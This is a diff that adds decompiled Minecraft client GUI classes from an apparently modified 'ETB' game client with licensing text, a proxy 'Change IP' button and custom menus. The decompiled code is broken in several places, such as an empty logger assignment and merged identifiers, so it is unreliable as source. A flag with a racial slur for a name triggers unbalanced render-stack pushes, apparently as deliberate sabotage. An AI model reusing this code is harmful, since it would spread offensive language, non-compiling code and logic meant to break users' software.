+      GlStateManager.pushMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.pushMatrix();
+    }
+    mc.getFramebuffer().unbindFramebuffer();
+    GlStateManager.viewport(0, 0, 256, 256);
+    drawPanorama(p_73971_1_, p_73971_2_, p_73971_3_);
+    rotateAndBlurSkybox(p_73971_3_);
+    rotateAndBlurSkybox(p_73971_3_);
+    rotateAndBlurSkybox(p_73971_3_);
+    rotateAndBlurSkybox(p_73971_3_);
+    rotateAndBlurSkybox(p_73971_3_);
+    rotateAndBlurSkybox(p_73971_3_);
+    rotateAndBlurSkybox(p_73971_3_);
+    mc.getFramebuffer().bindFramebuffer(true);
+    GlStateManager.viewport(0, 0, mc.displayWidth, mc.displayHeight);
+    Tessellator var4 = Tessellator.getInstance();
+    WorldRenderer var5 = var4.getWorldRenderer();
+    var5.startDrawingQuads();
+    float var6 = width > height ? 120.0F / width : 120.0F / height;
+    float var7 = height * var6 / 256.0F;
+    float var8 = width * var6 / 256.0F;
+    var5.func_178960_a(1.0F, 1.0F, 1.0F, 1.0F);
+    int var9 = width;
+    int var10 = height;
+    var5.addVertexWithUV(0.0D, var10, zLevel, 0.5F - var7, 
+      0.5F + var8);
+    var5.addVertexWithUV(var9, var10, zLevel, 0.5F - var7, 
+      0.5F - var8);
+    var5.addVertexWithUV(var9, 0.0D, zLevel, 0.5F + var7, 0.5F - var8);
+    var5.addVertexWithUV(0.0D, 0.0D, zLevel, 0.5F + var7, 0.5F + var8);
+    var4.draw();
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    if (mc.breaknigga) {
+      GlStateManager.pushMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.pushMatrix();
+    }
+    ScaledResolution sr = new ScaledResolution(mc);
+    mc.getTextureManager().bindTexture(new ResourceLocation("ETB/background.png"));
+    Gui.drawScaledCustomSizeModalRect(0, 0, 0.0F, 0.0F, sr.getScaledWidth(), sr.getScaledHeight(), 
+      sr.getScaledWidth(), sr.getScaledHeight(), sr.getScaledWidth(), sr.getScaledHeight());
+    Client.instance.getClass();Client.instance.getClass();String var10 = "ETB" + " " + 0.6D;
+    GlStateManager.popMatrix();
+    GlStateManager.pushMatrix();
+    
+    if (mc.isDemo()) {
+      var10 = var10 + " Demo";
+    }
+    boolean blender = GL11.glIsEnabled(3042);
+    try {
+      GL11.glPushMatrix();
+      GL11.glEnable(3042);
+      GL11.glBlendFunc(770, 771);
+      GL11.glScaled(0.45D, 0.45D, 1.0D);
+      mc.fontRendererObj.drawStringWithShadow(AALAPI.getUsername(), 5.0F, 2.0F, new Color(255, 255, 255, 26).getRGB());
+      GL11.glScaled(1.0D, 1.0D, 1.0D);
+      GL11.glPopMatrix();
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+    if (!blender)
+      GL11.glDisable(3042);
+    drawString(fontRendererObj, var10, 2, height - 10, new Color(102, 172, 255).getRGB());
+    String var11 = AALAPI.getUsername().contains("debug-mode") ? "Protected by nothing" : "Protected by AAL";
+    drawString(fontRendererObj, var11, width - fontRendererObj.getStringWidth(var11) - 2, 
+      height - 10, new Color(102, 172, 255).getRGB());
+    
+    if ((field_92025_p != null) && (field_92025_p.length() > 0)) {
+      drawRect(field_92022_t - 2, field_92021_u - 2, field_92020_v + 2, field_92019_w - 1, 
+        1428160512);
+      drawString(fontRendererObj, field_92025_p, field_92022_t, field_92021_u, -1);
+      drawString(fontRendererObj, field_146972_A, (width - field_92024_r) / 2, 
+        buttonList.get(0)).yPosition - 12, -1);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    Object var4 = field_104025_t;
+    
+    synchronized (field_104025_t) {
+      if ((field_92025_p.length() > 0) && (mouseX >= field_92022_t) && (mouseX <= field_92020_v) && 
+        (mouseY >= field_92021_u) && (mouseY <= field_92019_w)) {
+        GuiConfirmOpenLink var5 = new GuiConfirmOpenLink(this, field_104024_v, 13, true);
+        var5.disableSecurityWarning();
+        mc.displayGuiScreen(var5);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiMemoryErrorScreen.java b/src/minecraft/net/minecraft/client/gui/GuiMemoryErrorScreen.java
new file mode 100644
index 0000000..fe43af4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiMemoryErrorScreen.java
@@ -0,0 +1,55 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+
+public class GuiMemoryErrorScreen extends GuiScreen
+{
+  private static final String __OBFID = "CL_00000702";
+  
+  public GuiMemoryErrorScreen() {}
+  
+  public void initGui()
+  {
+    buttonList.clear();
+    buttonList.add(new GuiOptionButton(0, width / 2 - 155, height / 4 + 120 + 12, I18n.format("gui.toMenu", new Object[0])));
+    buttonList.add(new GuiOptionButton(1, width / 2 - 155 + 160, height / 4 + 120 + 12, I18n.format("menu.quit", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (id == 0)
+    {
+      mc.displayGuiScreen(new GuiMainMenu());
+    }
+    else if (id == 1)
+    {
+      mc.shutdown();
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws java.io.IOException
+  {}
+  
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, "Out of memory!", width / 2, height / 4 - 60 + 20, 16777215);
+    drawString(fontRendererObj, "Minecraft has run out of memory.", width / 2 - 140, height / 4 - 60 + 60 + 0, 10526880);
+    drawString(fontRendererObj, "This could be caused by a bug in the game or by the", width / 2 - 140, height / 4 - 60 + 60 + 18, 10526880);
+    drawString(fontRendererObj, "Java Virtual Machine not being allocated enough", width / 2 - 140, height / 4 - 60 + 60 + 27, 10526880);
+    drawString(fontRendererObj, "memory.", width / 2 - 140, height / 4 - 60 + 60 + 36, 10526880);
+    drawString(fontRendererObj, "To prevent level corruption, the current game has quit.", width / 2 - 140, height / 4 - 60 + 60 + 54, 10526880);
+    drawString(fontRendererObj, "We've tried to free up enough memory to let you go back to", width / 2 - 140, height / 4 - 60 + 60 + 63, 10526880);
+    drawString(fontRendererObj, "the main menu and back to playing, but this may not have worked.", width / 2 - 140, height / 4 - 60 + 60 + 72, 10526880);
+    drawString(fontRendererObj, "Please restart the game if you see this message again.", width / 2 - 140, height / 4 - 60 + 60 + 81, 10526880);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiMerchant.java b/src/minecraft/net/minecraft/client/gui/GuiMerchant.java
new file mode 100644
index 0000000..bbf5421
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiMerchant.java
@@ -0,0 +1,258 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.inventory.GuiContainer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.entity.IMerchant;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.ContainerMerchant;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.client.C17PacketCustomPayload;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.village.MerchantRecipe;
+import net.minecraft.village.MerchantRecipeList;
+import net.minecraft.world.World;
+import org.apache.logging.log4j.LogManager;
+
+public class GuiMerchant extends GuiContainer
+{
+  private static final org.apache.logging.log4j.Logger logger = ;
+  private static final ResourceLocation field_147038_v = new ResourceLocation("textures/gui/container/villager.png");
+  private IMerchant field_147037_w;
+  private MerchantButton field_147043_x;
+  private MerchantButton field_147042_y;
+  private int field_147041_z;
+  private IChatComponent field_147040_A;
+  private static final String __OBFID = "CL_00000762";
+  
+  public GuiMerchant(InventoryPlayer p_i45500_1_, IMerchant p_i45500_2_, World worldIn)
+  {
+    super(new ContainerMerchant(p_i45500_1_, p_i45500_2_, worldIn));
+    field_147037_w = p_i45500_2_;
+    field_147040_A = p_i45500_2_.getDisplayName();
+  }
+  
+
+
+
+  public void initGui()
+  {
+    super.initGui();
+    int var1 = (width - xSize) / 2;
+    int var2 = (height - ySize) / 2;
+    buttonList.add(this.field_147043_x = new MerchantButton(1, var1 + 120 + 27, var2 + 24 - 1, true));
+    buttonList.add(this.field_147042_y = new MerchantButton(2, var1 + 36 - 19, var2 + 24 - 1, false));
+    field_147043_x.enabled = false;
+    field_147042_y.enabled = false;
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    String var3 = field_147040_A.getUnformattedText();
+    fontRendererObj.drawString(var3, xSize / 2 - fontRendererObj.getStringWidth(var3) / 2, 6, 4210752);
+    fontRendererObj.drawString(I18n.format("container.inventory", new Object[0]), 8, ySize - 96 + 2, 4210752);
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    MerchantRecipeList var1 = field_147037_w.getRecipes(mc.thePlayer);
+    
+    if (var1 != null)
+    {
+      field_147043_x.enabled = (field_147041_z < var1.size() - 1);
+      field_147042_y.enabled = (field_147041_z > 0);
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    boolean var2 = false;
+    
+    if (button == field_147043_x)
+    {
+      field_147041_z += 1;
+      MerchantRecipeList var3 = field_147037_w.getRecipes(mc.thePlayer);
+      
+      if ((var3 != null) && (field_147041_z >= var3.size()))
+      {
+        field_147041_z = (var3.size() - 1);
+      }
+      
+      var2 = true;
+    }
+    else if (button == field_147042_y)
+    {
+      field_147041_z -= 1;
+      
+      if (field_147041_z < 0)
+      {
+        field_147041_z = 0;
+      }
+      
+      var2 = true;
+    }
+    
+    if (var2)
+    {
+      ((ContainerMerchant)inventorySlots).setCurrentRecipeIndex(field_147041_z);
+      PacketBuffer var4 = new PacketBuffer(io.netty.buffer.Unpooled.buffer());
+      var4.writeInt(field_147041_z);
+      mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload("MC|TrSel", var4));
+    }
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(field_147038_v);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+    MerchantRecipeList var6 = field_147037_w.getRecipes(mc.thePlayer);
+    
+    if ((var6 != null) && (!var6.isEmpty()))
+    {
+      int var7 = field_147041_z;
+      
+      if ((var7 < 0) || (var7 >= var6.size()))
+      {
+        return;
+      }
+      
+      MerchantRecipe var8 = (MerchantRecipe)var6.get(var7);
+      
+      if (var8.isRecipeDisabled())
+      {
+        mc.getTextureManager().bindTexture(field_147038_v);
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+        GlStateManager.disableLighting();
+        drawTexturedModalRect(guiLeft + 83, guiTop + 21, 212, 0, 28, 21);
+        drawTexturedModalRect(guiLeft + 83, guiTop + 51, 212, 0, 28, 21);
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    super.drawScreen(mouseX, mouseY, partialTicks);
+    MerchantRecipeList var4 = field_147037_w.getRecipes(mc.thePlayer);
+    
+    if ((var4 != null) && (!var4.isEmpty()))
+    {
+      int var5 = (width - xSize) / 2;
+      int var6 = (height - ySize) / 2;
+      int var7 = field_147041_z;
+      MerchantRecipe var8 = (MerchantRecipe)var4.get(var7);
+      ItemStack var9 = var8.getItemToBuy();
+      ItemStack var10 = var8.getSecondItemToBuy();
+      ItemStack var11 = var8.getItemToSell();
+      GlStateManager.pushMatrix();
+      RenderHelper.enableGUIStandardItemLighting();
+      GlStateManager.disableLighting();
+      GlStateManager.enableRescaleNormal();
+      GlStateManager.enableColorMaterial();
+      GlStateManager.enableLighting();
+      itemRender.zLevel = 100.0F;
+      itemRender.func_180450_b(var9, var5 + 36, var6 + 24);
+      itemRender.func_175030_a(fontRendererObj, var9, var5 + 36, var6 + 24);
+      
+      if (var10 != null)
+      {
+        itemRender.func_180450_b(var10, var5 + 62, var6 + 24);
+        itemRender.func_175030_a(fontRendererObj, var10, var5 + 62, var6 + 24);
+      }
+      
+      itemRender.func_180450_b(var11, var5 + 120, var6 + 24);
+      itemRender.func_175030_a(fontRendererObj, var11, var5 + 120, var6 + 24);
+      itemRender.zLevel = 0.0F;
+      GlStateManager.disableLighting();
+      
+      if ((isPointInRegion(36, 24, 16, 16, mouseX, mouseY)) && (var9 != null))
+      {
+        renderToolTip(var9, mouseX, mouseY);
+      }
+      else if ((var10 != null) && (isPointInRegion(62, 24, 16, 16, mouseX, mouseY)) && (var10 != null))
+      {
+        renderToolTip(var10, mouseX, mouseY);
+      }
+      else if ((var11 != null) && (isPointInRegion(120, 24, 16, 16, mouseX, mouseY)) && (var11 != null))
+      {
+        renderToolTip(var11, mouseX, mouseY);
+      }
+      else if ((var8.isRecipeDisabled()) && ((isPointInRegion(83, 21, 28, 21, mouseX, mouseY)) || (isPointInRegion(83, 51, 28, 21, mouseX, mouseY))))
+      {
+        drawCreativeTabHoveringText(I18n.format("merchant.deprecated", new Object[0]), mouseX, mouseY);
+      }
+      
+      GlStateManager.popMatrix();
+      GlStateManager.enableLighting();
+      GlStateManager.enableDepth();
+      RenderHelper.enableStandardItemLighting();
+    }
+  }
+  
+  public IMerchant getMerchant()
+  {
+    return field_147037_w;
+  }
+  
+  static class MerchantButton extends GuiButton
+  {
+    private final boolean field_146157_o;
+    private static final String __OBFID = "CL_00000763";
+    
+    public MerchantButton(int p_i1095_1_, int p_i1095_2_, int p_i1095_3_, boolean p_i1095_4_)
+    {
+      super(p_i1095_2_, p_i1095_3_, 12, 19, "");
+      field_146157_o = p_i1095_4_;
+    }
+    
+    public void drawButton(Minecraft mc, int mouseX, int mouseY)
+    {
+      if (visible)
+      {
+        mc.getTextureManager().bindTexture(GuiMerchant.field_147038_v);
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+        boolean var4 = (mouseX >= xPosition) && (mouseY >= yPosition) && (mouseX < xPosition + width) && (mouseY < yPosition + height);
+        int var5 = 0;
+        int var6 = 176;
+        
+        if (!enabled)
+        {
+          var6 += width * 2;
+        }
+        else if (var4)
+        {
+          var6 += width;
+        }
+        
+        if (!field_146157_o)
+        {
+          var5 += height;
+        }
+        
+        drawTexturedModalRect(xPosition, yPosition, var6, var5, width, height);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiMultiplayer.java b/src/minecraft/net/minecraft/client/gui/GuiMultiplayer.java
new file mode 100644
index 0000000..22d3cfb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiMultiplayer.java
@@ -0,0 +1,492 @@
+package net.minecraft.client.gui;
+
+import com.enjoytheban.utils.proxy.GuiProxy;
+import com.google.common.base.Splitter;
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.GuiConnecting;
+import net.minecraft.client.multiplayer.ServerData;
+import net.minecraft.client.multiplayer.ServerList;
+import net.minecraft.client.network.LanServerDetector.LanServer;
+import net.minecraft.client.network.LanServerDetector.LanServerList;
+import net.minecraft.client.network.LanServerDetector.ThreadLanServerFind;
+import net.minecraft.client.network.OldServerPinger;
+import net.minecraft.client.resources.I18n;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+
+public class GuiMultiplayer extends GuiScreen implements GuiYesNoCallback
+{
+  private static final Logger logger = ;
+  private final OldServerPinger oldServerPinger = new OldServerPinger();
+  private GuiScreen parentScreen;
+  private ServerSelectionList serverListSelector;
+  private ServerList savedServerList;
+  private GuiButton btnEditServer;
+  private GuiButton btnSelectServer;
+  private GuiButton btnDeleteServer;
+  private boolean deletingServer;
+  private boolean addingServer;
+  private boolean editingServer;
+  private boolean directConnect;
+  private String field_146812_y;
+  private ServerData selectedServer;
+  private LanServerDetector.LanServerList lanServerList;
+  private LanServerDetector.ThreadLanServerFind lanServerDetector;
+  private boolean initialized;
+  private static final String __OBFID = "CL_00000814";
+  
+  public GuiMultiplayer(GuiScreen parentScreen)
+  {
+    this.parentScreen = parentScreen;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonList.clear();
+    
+    if (!initialized)
+    {
+      initialized = true;
+      savedServerList = new ServerList(mc);
+      savedServerList.loadServerList();
+      lanServerList = new LanServerDetector.LanServerList();
+      
+      try
+      {
+        lanServerDetector = new LanServerDetector.ThreadLanServerFind(lanServerList);
+        lanServerDetector.start();
+      }
+      catch (Exception var2)
+      {
+        logger.warn("Unable to start LAN server detection: " + var2.getMessage());
+      }
+      
+      serverListSelector = new ServerSelectionList(this, mc, width, height, 32, height - 64, 36);
+      serverListSelector.func_148195_a(savedServerList);
+    }
+    else
+    {
+      serverListSelector.setDimensions(width, height, 32, height - 64);
+    }
+    
+    createButtons();
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    serverListSelector.func_178039_p();
+  }
+  
+  public void createButtons()
+  {
+    buttonList.add(this.btnEditServer = new GuiButton(7, width / 2 - 154, height - 28, 70, 20, I18n.format("selectServer.edit", new Object[0])));
+    buttonList.add(this.btnDeleteServer = new GuiButton(2, width / 2 - 74, height - 28, 70, 20, I18n.format("selectServer.delete", new Object[0])));
+    buttonList.add(this.btnSelectServer = new GuiButton(1, width / 2 - 154, height - 52, 100, 20, I18n.format("selectServer.select", new Object[0])));
+    buttonList.add(new GuiButton(4, width / 2 - 50, height - 52, 100, 20, I18n.format("selectServer.direct", new Object[0])));
+    buttonList.add(new GuiButton(3, width / 2 + 4 + 50, height - 52, 100, 20, I18n.format("selectServer.add", new Object[0])));
+    buttonList.add(new GuiButton(8, width / 2 + 4, height - 28, 70, 20, I18n.format("selectServer.refresh", new Object[0])));
+    buttonList.add(new GuiButton(0, width / 2 + 4 + 76, height - 28, 75, 20, I18n.format("gui.cancel", new Object[0])));
+    buttonList.add(new GuiButton(69, new ScaledResolution(mc).getScaledWidth() - 100, new ScaledResolution(mc).getScaledHeight() / 55, 75, 20, "Change IP"));
+    selectServer(serverListSelector.func_148193_k());
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    
+    if (lanServerList.getWasUpdated())
+    {
+      List var1 = lanServerList.getLanServers();
+      lanServerList.setWasNotUpdated();
+      serverListSelector.func_148194_a(var1);
+    }
+    
+    oldServerPinger.pingPendingNetworks();
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    Keyboard.enableRepeatEvents(false);
+    
+    if (lanServerDetector != null)
+    {
+      lanServerDetector.interrupt();
+      lanServerDetector = null;
+    }
+    
+    oldServerPinger.clearPendingNetworks();
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      GuiListExtended.IGuiListEntry var2 = serverListSelector.func_148193_k() < 0 ? null : serverListSelector.getListEntry(serverListSelector.func_148193_k());
+      
+      if ((id == 2) && ((var2 instanceof ServerListEntryNormal)))
+      {
+        String var9 = getServerDataserverName;
+        
+        if (var9 != null)
+        {
+          deletingServer = true;
+          String var4 = I18n.format("selectServer.deleteQuestion", new Object[0]);
+          String var5 = "'" + var9 + "' " + I18n.format("selectServer.deleteWarning", new Object[0]);
+          String var6 = I18n.format("selectServer.deleteButton", new Object[0]);
+          String var7 = I18n.format("gui.cancel", new Object[0]);
+          GuiYesNo var8 = new GuiYesNo(this, var4, var5, var6, var7, serverListSelector.func_148193_k());
+          mc.displayGuiScreen(var8);
+        }
+      }
+      else if (id == 1)
+      {
+        connectToSelected();
+      }
+      else if (id == 4)
+      {
+        directConnect = true;
+        mc.displayGuiScreen(new GuiScreenServerList(this, this.selectedServer = new ServerData(I18n.format("selectServer.defaultName", new Object[0]), "")));
+      }
+      else if (id == 3)
+      {
+        addingServer = true;
+        mc.displayGuiScreen(new GuiScreenAddServer(this, this.selectedServer = new ServerData(I18n.format("selectServer.defaultName", new Object[0]), "")));
+      }
+      else if ((id == 7) && ((var2 instanceof ServerListEntryNormal)))
+      {
+        editingServer = true;
+        ServerData var3 = ((ServerListEntryNormal)var2).getServerData();
+        selectedServer = new ServerData(serverName, serverIP);
+        selectedServer.copyFrom(var3);
+        mc.displayGuiScreen(new GuiScreenAddServer(this, selectedServer));
+      }
+      else if (id == 0)
+      {
+        mc.displayGuiScreen(parentScreen);
+      }
+      else if (id == 8)
+      {
+        refreshServerList();
+      }
+      else if (id == 69)
+      {
+        mc.displayGuiScreen(new GuiProxy(this));
+      }
+    }
+  }
+  
+  private void refreshServerList()
+  {
+    mc.displayGuiScreen(new GuiMultiplayer(parentScreen));
+  }
+  
+  public void confirmClicked(boolean result, int id)
+  {
+    GuiListExtended.IGuiListEntry var3 = serverListSelector.func_148193_k() < 0 ? null : serverListSelector.getListEntry(serverListSelector.func_148193_k());
+    
+    if (deletingServer)
+    {
+      deletingServer = false;
+      
+      if ((result) && ((var3 instanceof ServerListEntryNormal)))
+      {
+        savedServerList.removeServerData(serverListSelector.func_148193_k());
+        savedServerList.saveServerList();
+        serverListSelector.func_148192_c(-1);
+        serverListSelector.func_148195_a(savedServerList);
+      }
+      
+      mc.displayGuiScreen(this);
+    }
+    else if (directConnect)
+    {
+      directConnect = false;
+      
+      if (result)
+      {
+        connectToServer(selectedServer);
+      }
+      else
+      {
+        mc.displayGuiScreen(this);
+      }
+    }
+    else if (addingServer)
+    {
+      addingServer = false;
+      
+      if (result)
+      {
+        savedServerList.addServerData(selectedServer);
+        savedServerList.saveServerList();
+        serverListSelector.func_148192_c(-1);
+        serverListSelector.func_148195_a(savedServerList);
+      }
+      
+      mc.displayGuiScreen(this);
+    }
+    else if (editingServer)
+    {
+      editingServer = false;
+      
+      if ((result) && ((var3 instanceof ServerListEntryNormal)))
+      {
+        ServerData var4 = ((ServerListEntryNormal)var3).getServerData();
+        serverName = selectedServer.serverName;
+        serverIP = selectedServer.serverIP;
+        var4.copyFrom(selectedServer);
+        savedServerList.saveServerList();
+        serverListSelector.func_148195_a(savedServerList);
+      }
+      
+      mc.displayGuiScreen(this);
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    int var3 = serverListSelector.func_148193_k();
+    GuiListExtended.IGuiListEntry var4 = var3 < 0 ? null : serverListSelector.getListEntry(var3);
+    
+    if (keyCode == 63)
+    {
+      refreshServerList();
+
+
+    }
+    else if (var3 >= 0)
+    {
+      if (keyCode == 200)
+      {
+        if (isShiftKeyDown())
+        {
+          if ((var3 > 0) && ((var4 instanceof ServerListEntryNormal)))
+          {
+            savedServerList.swapServers(var3, var3 - 1);
+            selectServer(serverListSelector.func_148193_k() - 1);
+            serverListSelector.scrollBy(-serverListSelector.getSlotHeight());
+            serverListSelector.func_148195_a(savedServerList);
+          }
+        }
+        else if (var3 > 0)
+        {
+          selectServer(serverListSelector.func_148193_k() - 1);
+          serverListSelector.scrollBy(-serverListSelector.getSlotHeight());
+          
+          if ((serverListSelector.getListEntry(serverListSelector.func_148193_k()) instanceof ServerListEntryLanScan))
+          {
+            if (serverListSelector.func_148193_k() > 0)
+            {
+              selectServer(serverListSelector.getSize() - 1);
+              serverListSelector.scrollBy(-serverListSelector.getSlotHeight());
+            }
+            else
+            {
+              selectServer(-1);
+            }
+          }
+        }
+        else
+        {
+          selectServer(-1);
+        }
+      }
+      else if (keyCode == 208)
+      {
+        if (isShiftKeyDown())
+        {
+          if (var3 < savedServerList.countServers() - 1)
+          {
+            savedServerList.swapServers(var3, var3 + 1);
+            selectServer(var3 + 1);
+            serverListSelector.scrollBy(serverListSelector.getSlotHeight());
+            serverListSelector.func_148195_a(savedServerList);
+          }
+        }
+        else if (var3 < serverListSelector.getSize())
+        {
+          selectServer(serverListSelector.func_148193_k() + 1);
+          serverListSelector.scrollBy(serverListSelector.getSlotHeight());
+          
+          if ((serverListSelector.getListEntry(serverListSelector.func_148193_k()) instanceof ServerListEntryLanScan))
+          {
+            if (serverListSelector.func_148193_k() < serverListSelector.getSize() - 1)
+            {
+              selectServer(serverListSelector.getSize() + 1);
+              serverListSelector.scrollBy(serverListSelector.getSlotHeight());
+            }
+            else
+            {
+              selectServer(-1);
+            }
+          }
+        }
+        else
+        {
+          selectServer(-1);
+        }
+      }
+      else if ((keyCode != 28) && (keyCode != 156))
+      {
+        super.keyTyped(typedChar, keyCode);
+      }
+      else
+      {
+        actionPerformed((GuiButton)buttonList.get(2));
+      }
+      
+    }
+    else {
+      super.keyTyped(typedChar, keyCode);
+    }
+  }
+  
+
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    field_146812_y = null;
+    drawDefaultBackground();
+    serverListSelector.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, I18n.format("multiplayer.title", new Object[0]), width / 2, 20, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+    
+    if (field_146812_y != null)
+    {
+      drawHoveringText(Lists.newArrayList(Splitter.on("\n").split(field_146812_y)), mouseX, mouseY);
+    }
+  }
+  
+  public void connectToSelected()
+  {
+    GuiListExtended.IGuiListEntry var1 = serverListSelector.func_148193_k() < 0 ? null : serverListSelector.getListEntry(serverListSelector.func_148193_k());
+    
+    if ((var1 instanceof ServerListEntryNormal))
+    {
+      connectToServer(((ServerListEntryNormal)var1).getServerData());
+    }
+    else if ((var1 instanceof ServerListEntryLanDetected))
+    {
+      LanServerDetector.LanServer var2 = ((ServerListEntryLanDetected)var1).getLanServer();
+      connectToServer(new ServerData(var2.getServerMotd(), var2.getServerIpPort()));
+    }
+  }
+  
+  private void connectToServer(ServerData server)
+  {
+    mc.displayGuiScreen(new GuiConnecting(this, mc, server));
+  }
+  
+  public void selectServer(int index)
+  {
+    serverListSelector.func_148192_c(index);
+    GuiListExtended.IGuiListEntry var2 = index < 0 ? null : serverListSelector.getListEntry(index);
+    btnSelectServer.enabled = false;
+    btnEditServer.enabled = false;
+    btnDeleteServer.enabled = false;
+    
+    if ((var2 != null) && (!(var2 instanceof ServerListEntryLanScan)))
+    {
+      btnSelectServer.enabled = true;
+      
+      if ((var2 instanceof ServerListEntryNormal))
+      {
+        btnEditServer.enabled = true;
+        btnDeleteServer.enabled = true;
+      }
+    }
+  }
+  
+  public OldServerPinger getOldServerPinger()
+  {
+    return oldServerPinger;
+  }
+  
+  public void func_146793_a(String p_146793_1_)
+  {
+    field_146812_y = p_146793_1_;
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    serverListSelector.func_148179_a(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+
+  protected void mouseReleased(int mouseX, int mouseY, int state)
+  {
+    super.mouseReleased(mouseX, mouseY, state);
+    serverListSelector.func_148181_b(mouseX, mouseY, state);
+  }
+  
+  public ServerList getServerList()
+  {
+    return savedServerList;
+  }
+  
+  public boolean func_175392_a(ServerListEntryNormal p_175392_1_, int p_175392_2_)
+  {
+    return p_175392_2_ > 0;
+  }
+  
+  public boolean func_175394_b(ServerListEntryNormal p_175394_1_, int p_175394_2_)
+  {
+    return p_175394_2_ < savedServerList.countServers() - 1;
+  }
+  
+  public void func_175391_a(ServerListEntryNormal p_175391_1_, int p_175391_2_, boolean p_175391_3_)
+  {
+    int var4 = p_175391_3_ ? 0 : p_175391_2_ - 1;
+    savedServerList.swapServers(p_175391_2_, var4);
+    
+    if (serverListSelector.func_148193_k() == p_175391_2_)
+    {
+      selectServer(var4);
+    }
+    
+    serverListSelector.func_148195_a(savedServerList);
+  }
+  
+  public void func_175393_b(ServerListEntryNormal p_175393_1_, int p_175393_2_, boolean p_175393_3_)
+  {
+    int var4 = p_175393_3_ ? savedServerList.countServers() - 1 : p_175393_2_ + 1;
+    savedServerList.swapServers(p_175393_2_, var4);
+    
+    if (serverListSelector.func_148193_k() == p_175393_2_)
+    {
+      selectServer(var4);
+    }
+    
+    serverListSelector.func_148195_a(savedServerList);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiNewChat.java b/src/minecraft/net/minecraft/client/gui/GuiNewChat.java
new file mode 100644
index 0000000..abc1b41
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiNewChat.java
@@ -0,0 +1,396 @@
+package net.minecraft.client.gui;
+
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.events.misc.EventChat;
+import com.enjoytheban.api.events.misc.EventChat.ChatType;
+import com.enjoytheban.ui.font.CFontRenderer;
+import com.enjoytheban.ui.font.FontLoaders;
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.player.EntityPlayer.EnumChatVisibility;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import org.apache.logging.log4j.LogManager;
